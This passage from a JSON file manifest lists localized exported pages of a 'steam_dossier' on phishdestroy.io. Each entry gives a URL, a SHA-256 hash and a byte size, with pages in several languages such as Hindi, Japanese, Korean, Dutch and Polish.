          "sha256": "14214f255036d4afdde173ff1a0b8938825e85f205e3b1b11ffd3a8129c77195",
          "bytes": 7367
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/output_steam_network__valve_ru_farming_isolated.content.json",
          "sha256": "233e485d4f9f4affefe738735c6cf2538b308b60146fa641438d64ba332d914b",
          "bytes": 10137
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/regulatory_act_print.content.json",
          "sha256": "afb856e401ffd1dc703239cbd37dcb32f450be285a19fe7f30bca1394e837fef",
          "bytes": 42840
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/security_timeline.content.json",
          "sha256": "502d147122d4e985b966b99aeef2df49e337c64de9cfd29e850ec8c5dc7c2d05",
          "bytes": 38361
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/skin_atlas.content.json",
          "sha256": "2185116e7acecb5112420b8a612d1202dea4cef8a0581395ca0928e2b680f6a0",
          "bytes": 68380
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/social_graph.content.json",
          "sha256": "2f7f877b471fd343a28327a37189d433f80d0d2fbedeb0940b4c3056084f0dda",
          "bytes": 18140
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/steam_enforcement_evidence.content.json",
          "sha256": "bcbb4716a68ef2b0a4e3fc3c1f41f14a821a8f6df992777d13b0ecff9a8a1ea1",
          "bytes": 74477
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/steam_evidence_archive.content.json",
          "sha256": "ccd70d5033de99dbe538692c0692b10c3dc401286ee96028ef5a42c9018274e4",
          "bytes": 16485
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/support_canned_refusals.content.json",
          "sha256": "2e465099bf95f107a6744e7cb55869da9d4317ac309cb2d720900a31c6e1864a",
          "bytes": 14030
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/valve_scandals_registry.content.json",
          "sha256": "3b514dfebb7aec556af6b5ee8a405916ec9ef7d02c49ed11ba5695fd18b64e10",
          "bytes": 20063
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/card_economy.content.json",
          "sha256": "cdfa3262546c00a756ed8d1f80ee2005d8ddafc6684096e19959281f060b0c78",
          "bytes": 86541
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/elite_skins.content.json",
          "sha256": "554627044b3b6cd064f117f89f88a36e78409dd41529bf513da17c8877fa6c34",
          "bytes": 25947
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/enforcement_audit.content.json",
          "sha256": "5262562f32df5b43681797b6088a987bd042621088a4fa72c0bcf841e307a9c4",
          "bytes": 42407
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/index.content.json",
          "sha256": "421a4622402d460f4aa6b89257939a696b7ee35ffcf1700b3e36e581e8499429",
          "bytes": 378985
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/investigation_part2.content.json",
          "sha256": "db256fc30c248817ec52c5feb0188037bd7cf8f2db60cec1a584389cf6243cc0",
          "bytes": 30905
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/legal_analysis.content.json",
          "sha256": "77d4a5c87d4f2a304cd05e4466def87710433753d56e6133447174661efcbdf6",
          "bytes": 26439
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/license_disclaimer.content.json",
          "sha256": "001b0bfd1e1c3b9e602ce81dda5e62ea6f9828912da83a3f2fb13aa2b98eef89",
          "bytes": 41087
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/market_economics.content.json",
          "sha256": "7d904e204d27c9a487ff93aaed90d311cfbf361f7e3cd79352ab3375494a5603",
          "bytes": 22394
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/output_steam_network__index.content.json",
          "sha256": "a0466fba487d9aef400d15471c179647283c8503e1528a40b18a0de877a65b47",
          "bytes": 9741
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/output_steam_network__network.content.json",
          "sha256": "b3b8996d682dfc5785adf4c32bf0fc68156302c7b94253ff6ca5857169c87466",
          "bytes": 3271
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/output_steam_network__steam_ecosystem_dashboard.content.json",
          "sha256": "408c30feefb05d96efff395ddda0b6020b8b35072d5966ec6fd772ce29cb4fe7",
          "bytes": 5190
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/output_steam_network__valve_ru_farming_isolated.content.json",
          "sha256": "29e7ec44680402aae8e1984175fc4a40a472daae5e79a4d43dbe9a47515fb828",
          "bytes": 6732
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/regulatory_act_print.content.json",
          "sha256": "5f8aa7f6ae2408b5739cd5788a59b50386466c9964518499192d8f12409d30fe",
          "bytes": 33504
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/security_timeline.content.json",
          "sha256": "2df97d73cdf4060a487e8b3287042c2c6b8287a0ced4b9cc57b36265607d398f",
          "bytes": 22052
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/skin_atlas.content.json",
          "sha256": "f6f99683cf7d87e08088cb3a3e0fd12f361a1f09b4c83ff144b22f5c9c2a73c5",
          "bytes": 49169
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/social_graph.content.json",
          "sha256": "40557c792ea7fa61dc8c7d8b57e712f3e696155dd9a4f0151c3f5985477a044f",
          "bytes": 15251
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/steam_enforcement_evidence.content.json",
          "sha256": "cd30a8bfc54b42f08e86edac40c4d9781c0721add7efe63c5a31d72f4e9bd461",
          "bytes": 70298
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/steam_evidence_archive.content.json",
          "sha256": "99f7edf1032e26203e9079e8964d648f1451e10dfaf76fdb945d1f5bc3ad6f1e",
          "bytes": 11394
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/support_canned_refusals.content.json",
          "sha256": "8ad728511d38327d51c2b76be307306fa9a1a855f73519eaff8ba31c651b68d8",
          "bytes": 8389
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/valve_scandals_registry.content.json",
          "sha256": "a73a5206f8e31c6d29d5970b6825d857aa5320c15fefbc1a92be284efc972e9b",
          "bytes": 16645
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/card_economy.content.json",
          "sha256": "a46b154a7a090397652db928775adf2594f226b950880e167d434b65e50ac156",
          "bytes": 86430
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/elite_skins.content.json",
          "sha256": "f3a574fc723738218e5732d59623d3e251b820e93c77985ec2e62da4455d0470",
          "bytes": 26471
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/enforcement_audit.content.json",
          "sha256": "84f3b7e5ff70f1e7646441a9fdf95ae5a53257e1d7e5065ab1b608add105cb45",
          "bytes": 42880
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/index.content.json",
          "sha256": "8e33125e2bbe917834c6ac9f422ee0e99c125b769970c232cc1793a0074b822d",
          "bytes": 387924
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/investigation_part2.content.json",
          "sha256": "4748f1fcfa3e4faf3375ce4948890cbc93e0fb1e709ab68304315ef140fdeef3",
          "bytes": 32268
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/legal_analysis.content.json",
          "sha256": "5d0b6484d7e7fc1e31d70174b34a4ef6e9a62fb91fd4aeb132b4b37fce4cce5c",
          "bytes": 27428
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/license_disclaimer.content.json",
          "sha256": "3f3dc07b33d6baac79b53a51c100a7588f5aa5e74561dfc317b15f735e4bc8b8",
          "bytes": 40553
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/market_economics.content.json",
          "sha256": "a409ca874b2127770897596127201fe520e74dbd94c1fe055a708aba7e7017c9",
          "bytes": 22794
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/output_steam_network__index.content.json",
          "sha256": "a86b6630967da83850b2095e63dfdb2ae3d4945fc8901daa682d8ed7faa05b83",
          "bytes": 10318
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/output_steam_network__network.content.json",
          "sha256": "159509f6276dbdfc68a182fe0e921ea0010c47dd4f7adee4fa94ddfa9929a997",
          "bytes": 3320
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/output_steam_network__steam_ecosystem_dashboard.content.json",
          "sha256": "b2c19d6d80278827f45967e14beb3306c31295be40aa2efc7c0efc5d84a60b06",
          "bytes": 5410
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/output_steam_network__valve_ru_farming_isolated.content.json",
          "sha256": "8432a04a1347cdbd66b1651f977210365f7a5cf94e59df3e33df5d821f5466f3",
          "bytes": 6780
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/regulatory_act_print.content.json",
          "sha256": "7790bc5809ab1d7d493ca015735b4e44f54c990f8176897baf3821f4fdd78c22",
          "bytes": 34081
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/security_timeline.content.json",
          "sha256": "3d5c2db05ad98f89fc9bb2f24e34cf648308b4a96fe1563bf0289fc458af19ae",
          "bytes": 23393
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/skin_atlas.content.json",
          "sha256": "b8e19edfaaf6888a1abb55bc0127e8c916c86e34e206027d6f16c352287e7129",
          "bytes": 49030
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/social_graph.content.json",
          "sha256": "6d0652c87dedad6354098e75976757fdc33d553b75d9e7ba178f7eae379d4b0e",
          "bytes": 15361
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/steam_enforcement_evidence.content.json",
          "sha256": "c26bd7f62b45763885421507d4863a662997be2b05404506b7670b1ffbdb6604",
          "bytes": 70550
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/steam_evidence_archive.content.json",
          "sha256": "691f1edf8755a2d6cb2f93d59e05dddf069a4af13f6b1dfbdcc1540219fae69e",
          "bytes": 11674
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/support_canned_refusals.content.json",
          "sha256": "8d9a7d6f5306c323c003d2c1b5e49e9a0135fccd6f50d4815d4975a0f9123c00",
          "bytes": 8966
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/valve_scandals_registry.content.json",
          "sha256": "4723ad6e30e1e23c57692ca71f3c2d8882c431a03dd8c86201c9e83895161e9c",
          "bytes": 16752
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/card_economy.content.json",
          "sha256": "5b96799ba639af64d084c238125fb0d3912457480ca12cc8f56bf4db56483722",
          "bytes": 104422
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/elite_skins.content.json",
          "sha256": "74e68dda1c094e26a2d5f1d58929e31a9371249dae0adce800075282f37b387c",
          "bytes": 29676
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/enforcement_audit.content.json",
          "sha256": "30c28ea98d4c020db0c4609511ffb0645490ddb3e52bda4c3d356c3386b3c88c",
          "bytes": 50501
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/index.content.json",
          "sha256": "f983282946fabe3f4a92529dcf124f792758b0a528c7ebcf73d5c28681556736",
          "bytes": 429176
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/investigation_part2.content.json",
          "sha256": "06e602165243148aa2e91c07f6db0b8302a6cd3331b9f12e1200469d13088d8c",
          "bytes": 36494
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/legal_analysis.content.json",
          "sha256": "41b65233465de872a636dbb0bc77eb012be82fa28bcf5bccfde184cafa032d54",
          "bytes": 29741
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/license_disclaimer.content.json",
          "sha256": "11353c13b786671d5ab526deb834379c9e58a237e327b186dca36381069aafe3",
          "bytes": 48651
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/market_economics.content.json",
          "sha256": "3218bcd8b811fc22c459b5264718a608f93983eb757c94a1e3a8c9f4665ad578",
          "bytes": 24972
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/output_steam_network__index.content.json",
          "sha256": "6dd72a71747ed28ed87d89797cbfd959ed8c3ba620fa327e7f4cef588be2d7cd",
          "bytes": 11522
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/output_steam_network__network.content.json",
          "sha256": "3a14eeba417bfd8b44ad6dcaa017558aa499d3c97cbd5fb254c7177bbbe2c787",
          "bytes": 3454
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/output_steam_network__steam_ecosystem_dashboard.content.json",
          "sha256": "0392041e9bd0ab1cbdfc8faf4fbaa06f4b257c5efee304680f174534a6d0ae38",
          "bytes": 5832
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/output_steam_network__valve_ru_farming_isolated.content.json",
          "sha256": "947ce1e60b4a74bd17db4cc11116304fb1bffd1f572287cd1e378ca1f30d5029",
          "bytes": 7480
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/regulatory_act_print.content.json",
          "sha256": "78f8718f020ca8f263fad4d49ca650ed26cfacb674106aa0e059404cc0968c74",
          "bytes": 35232
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/security_timeline.content.json",
          "sha256": "5d3f6924b39689e255afedeaf87b3308ba53326dcf6b69cb1ba78b004b069454",
          "bytes": 25522
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/skin_atlas.content.json",
          "sha256": "0175a67a5eb31804bc044cba2abf797fecb693e6af0f292996a7938cc07e4dbc",
          "bytes": 53129
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/social_graph.content.json",
          "sha256": "1888c8447ab7caa6f27c64612ce4b42ddc3f8068627f21c43543727915c59a76",
          "bytes": 16028
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/steam_enforcement_evidence.content.json",
          "sha256": "55e6c1f8ffe696a0b33a4c429a517a815567afac1a69bce05cd722c14aed77c0",
          "bytes": 71334
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/steam_evidence_archive.content.json",
          "sha256": "5bff45fcccb53d269643c6aedc1177efa9565d7ff7d544eed3673e3515a73a25",
          "bytes": 12682
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/support_canned_refusals.content.json",
          "sha256": "67bdcae1049e9f38499d8cc2d3d6042b600ab3d67b5214ec6fbef81c8e6f39bf",
          "bytes": 9476
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/valve_scandals_registry.content.json",
          "sha256": "cdf49a1698c2a9db05a919fa00fb93b99bafa4ecf00b214d81b88d379a96889f",
          "bytes": 17352
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/card_economy.content.json",
          "sha256": "901ffdf648694b4c3cddc1d90cb2f0bee5159612b34097ac9ee0a3e2ee94d2ca",
          "bytes": 93103
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/elite_skins.content.json",
          "sha256": "5b7118533dbf59afe00ee9455ccf4c7d98dfe8a3ac262e00788a3caa94c5f146",
          "bytes": 27651
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/enforcement_audit.content.json",
          "sha256": "5699d292acf2cea6aa7f3b1384dbf02dcd03b40dc027eb0a35618749ba22994c",
          "bytes": 45664
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/index.content.json",
          "sha256": "4294b806596f0333431a523b97ca30eb3cf253dddc6e20166fb210d5c37438ef",
          "bytes": 395077
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/investigation_part2.content.json",
          "sha256": "9740ac02c6aaf860d3be7f92577ebfff836bcaddb8475f4f4885ebde4c7b4e8d",
          "bytes": 33578
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/legal_analysis.content.json",
          "sha256": "cd0841381c3d327ae248278ee16aa888cf2f879bf5c75dc89fbc7a1a4f072ee5",
          "bytes": 27284
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/license_disclaimer.content.json",
          "sha256": "9db41e3d66e33f470c01b1c75ee89bed86a6988ca30701ae0d7b2c4f70b8f28c",
          "bytes": 44815
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/market_economics.content.json",
          "sha256": "16766a294f9c3bd3be5e948642d941e5c908aec89a9518dfac0656f55c1da6cb",
          "bytes": 23241
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/output_steam_network__index.content.json",
          "sha256": "75fe66481bf7290f3a2c94e71d85033892805ff5ecd77c1f7480125e843a20a2",
          "bytes": 10191
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/output_steam_network__network.content.json",
          "sha256": "0eae5894c49b998108aefd033bf928e32b06e83256885248018ea6d253190fb2",
          "bytes": 3332
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/output_steam_network__steam_ecosystem_dashboard.content.json",
          "sha256": "f778f1d03ad572d2ecbcc6454d5ce31f02c005e64395e8c3ee531d882cb52451",
          "bytes": 5267
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/output_steam_network__valve_ru_farming_isolated.content.json",
          "sha256": "be8c871b77afb8503b9eab70025b1963e5cc51d1eaf3c68cd2389b72c6665dde",
          "bytes": 6765
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/regulatory_act_print.content.json",
          "sha256": "dddcdbc64f6d9d521e63ca2868d7954d005eb9756627dcbfa1e6076f5327e645",
          "bytes": 33790
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/security_timeline.content.json",
          "sha256": "bcd92ead0ea50cb5170d4fdece4c707d4a28982cf01e4d762733b21555ae5eb6",
          "bytes": 22398
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/skin_atlas.content.json",
          "sha256": "5fee97ac40d31af00568882f5d425310bb4e9d6a43db1e64a474058d41308c6b",
          "bytes": 50134
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/social_graph.content.json",
          "sha256": "ed270c350ddb1ed5138eae2d81aec565748ee55b53d45d7c0c558615cb0cee70",
          "bytes": 15613
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/steam_enforcement_evidence.content.json",
          "sha256": "c1fd1c99761408d832b299ca536ab9caee8ce888d83f57948b4483ef26372b1e",
          "bytes": 70563
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/steam_evidence_archive.content.json",
          "sha256": "e291b11f88f81cf23cb91afdc9d4b27fa9e5ab40ebbfb8560e404246d576569d",
          "bytes": 11893
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/support_canned_refusals.content.json",
          "sha256": "99b4aa952332052338c96bb8ccc59317a266fc6159d12fdaa4e750563f4726d3",
          "bytes": 8639
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/valve_scandals_registry.content.json",
          "sha256": "b15bec9de3f0dd794c75d8d1f2a6893916cda3b5f74db7e451c8894709793851",
          "bytes": 17434
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/card_economy.content.json",
          "sha256": "afe2c7b067df5a18b70c8f63a932bbe1df851e192793b55af91314b6875ba517",
          "bytes": 84277
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/elite_skins.content.json",
          "sha256": "61fa312343c3c05ddabd9ed064ecf8ffce1dc08dbdaf27e4b0ce217fbe0a0d3c",
          "bytes": 25950
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/enforcement_audit.content.json",
          "sha256": "96d963f3fcbd74846c786bd7506f9f45189429f906f880ba46a77cf97b2480e3",
          "bytes": 42712
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/index.content.json",
          "sha256": "a26e70ba54c101659df918ec35c8ede75235a57b93e08b2ed9e35797445d8c7a",
          "bytes": 379391
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/investigation_part2.content.json",
          "sha256": "22c5cf2e9292054e8e27f123879dd122e2e321f3db3c4975c45491cb141434b4",
          "bytes": 31166
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/legal_analysis.content.json",
          "sha256": "84eed3bf4a25c1d1bb82c56e9ed7e93d7e336d4359f6111ac361dcdcd6a08817",
          "bytes": 26904
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/license_disclaimer.content.json",
          "sha256": "5b3bd31c0ea72fddaaf24483b38f27ab4c76b161ac48d41b811e757839c3059f",
          "bytes": 40227
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/market_economics.content.json",
          "sha256": "e2d1ca2a530b9d10368597983c2c107ca6378f55457630ecb71f40cd9d9d0434",
          "bytes": 21914
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/output_steam_network__index.content.json",
          "sha256": "c893018ee993821260cabc4767ca66e0059e1706f8c52fb17da80964446e165e",
          "bytes": 10153
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/output_steam_network__network.content.json",
          "sha256": "e3a3c400705cbf8df3fb447c85a8952ecf2e74e2ae338cdf81e247d15135b09c",
          "bytes": 3302
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/output_steam_network__steam_ecosystem_dashboard.content.json",
          "sha256": "d8d5b45cfcd2b39f834378591ea6dc0f32430ee50a712546e13b0ab80aa98888",
          "bytes": 5312
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/output_steam_network__valve_ru_farming_isolated.content.json",
          "sha256": "48f665c5a4ee14539a96f4458887c09b42d69413d374340e2c09b43cefbfe62d",
          "bytes": 6880
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/regulatory_act_print.content.json",
          "sha256": "4697190d365d9265bffc13b4ed5fbcb5e750841e38ff4b7875963bdf8214aac8",
          "bytes": 33856
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/security_timeline.content.json",
          "sha256": "b79f062680c8d452957c29c095d2e0cc42d3592a6461ac86f9723035072e5bf3",
          "bytes": 22534
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/skin_atlas.content.json",
          "sha256": "d642d9d0ba18d4adf62e467de41051533af7870916af1a8b6fb66033deb908c2",
          "bytes": 48355
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/social_graph.content.json",
          "sha256": "a24b88cc37e7c8b86182f924c88852945015b2331d34138d767b29f125bb5fc8",
          "bytes": 15284
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/steam_enforcement_evidence.content.json",
          "sha256": "4e1ec4c442e171250b889dafa8219f309e17bc3314c19b2a548890d20be5df14",
          "bytes": 70332
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/steam_evidence_archive.content.json",
          "sha256": "d3f69a9a87649a250a74bff9fab08316dd6dd552f637715bec26711b28a170fa",
          "bytes": 11392
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/support_canned_refusals.content.json",
          "sha256": "d6cb2fd9a8db23d12caa14e67090db8d5eb01fefb06991260222465bf20444d9",
          "bytes": 8542
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/valve_scandals_registry.content.json",
          "sha256": "33bf104a6566afeaaad3085194a5b3d26ed85801eb31314253772a70dcbae7c0",
          "bytes": 17318
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/card_economy.content.json",
          "sha256": "03a196d6f32cd468cba444dcaf532c03b124044b373d565246de9129601dbfb3",
          "bytes": 88433
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/elite_skins.content.json",
          "sha256": "d72bfc95b7764b970f4c5382e08066f89482289f1da3f45194189839d23451a9",
          "bytes": 26909
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/enforcement_audit.content.json",
          "sha256": "0030f38d9583f25ab03a9225f3c8a811cda8fe83804f74d28f3be7eae55f8afc",
          "bytes": 43312
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/index.content.json",
          "sha256": "a532490693a8b577462c7ddd56a346a8efd6b3a83c30560939eeb64b6a8b31d5",
          "bytes": 394346
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/investigation_part2.content.json",
          "sha256": "50e36cd5774ac87cc033906ceba7059661b4df47b405eca58f5a9a2696d8fa9a",
          "bytes": 31771
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/legal_analysis.content.json",
          "sha256": "b9d20a8d43a4beff335ae6a0ca55ab1d5e9ac05a9521d3052777334753c3baea",
          "bytes": 28041
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/license_disclaimer.content.json",
          "sha256": "c3f5b3b0f6ae69cb698e745869fa24a1bfc9b3339f176db0548410e026121739",
          "bytes": 41444
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/market_economics.content.json",
          "sha256": "a6dc0ee12f18ea3988d347b7cc5877843f1327ba60034fb0822ea6a883006d85",
          "bytes": 22995
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/output_steam_network__index.content.json",
          "sha256": "e8152e8567b5aebc3ea274fd2b616211eba8bba08cda5c7e6cbcda70a9b53eba",
          "bytes": 10508
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/output_steam_network__network.content.json",
          "sha256": "1ae92945f94e2c0979323538952c60ad31dad6b2a83b3f5cb19edc1c47fd10fb",
          "bytes": 3380
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/output_steam_network__steam_ecosystem_dashboard.content.json",
          "sha256": "eb8b7924dff4f8394c8923b3a52e8bcf9a38351f934b1cb019590b059a97951a",
          "bytes": 5390
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/output_steam_network__valve_ru_farming_isolated.content.json",
          "sha256": "cde645d644959a8355d57c050f5f4d6e1b1c4244676d03526dbfc70abe307a71",
          "bytes": 6785
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/regulatory_act_print.content.json",
          "sha256": "364d47527154e12548708f4ca86a2f505c18922a2cf0d1c31c227c1cddc3e129",
          "bytes": 34455
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/security_timeline.content.json",
          "sha256": "de06f160c750f42574cae7f45d9c79d41fdeb5ebac3842e8edae6dbb1b48d60f",
          "bytes": 23783
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/skin_atlas.content.json",
          "sha256": "8817a24be3062c44972c12b99298030eb2b982d53c883bb16a1f3eab2697833a",
          "bytes": 49410
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/social_graph.content.json",
          "sha256": "2d94d2d12234158fccf8070c15fc1b616d66bf66a1d20773fdd10fcf5e1744a6",
          "bytes": 15424
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/steam_enforcement_evidence.content.json",
          "sha256": "2c217d7c0910b4dd877ddcf6cdd49d694f08148162843c15e0ab564424fad02d",
          "bytes": 70559
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/steam_evidence_archive.content.json",
          "sha256": "56c99efb187dab556da13427e6211f4a3fa3d393b90e461d7a80a2b645ec87b4",
          "bytes": 11799
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/support_canned_refusals.content.json",
          "sha256": "a8ec0fc63f5606b214bdd8f98689ba656eaea222eec3889e5bd91d2814fe30cb",
          "bytes": 9104
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/valve_scandals_registry.content.json",
          "sha256": "e655b9e99c1bd546da0588cf27ced9a17fcc2c3a59c77a86108e61b920e32930",
          "bytes": 16824
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/card_economy.content.json",
          "sha256": "0aa5ce95b0842cf7f9b0381cc80f9e2b7b73eb728b8a68bc32f7737e9f321568",
          "bytes": 84748
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/elite_skins.content.json",
          "sha256": "e935bbe5014b2a5f5a0cb8a8a76932077846726a7edba49719f96d5e7b088370",
          "bytes": 26005
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/enforcement_audit.content.json",
          "sha256": "b8c4cb72b2f3a4fa9975773695780ba57d4f1a4f3ba27c45e9f6026294dadb39",
          "bytes": 42028
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/index.content.json",
          "sha256": "0e7eca08ae5b1672be2468f87bbf1a1d15983ac7627b603e81f13b02a36bb022",
          "bytes": 383549
        },
        {
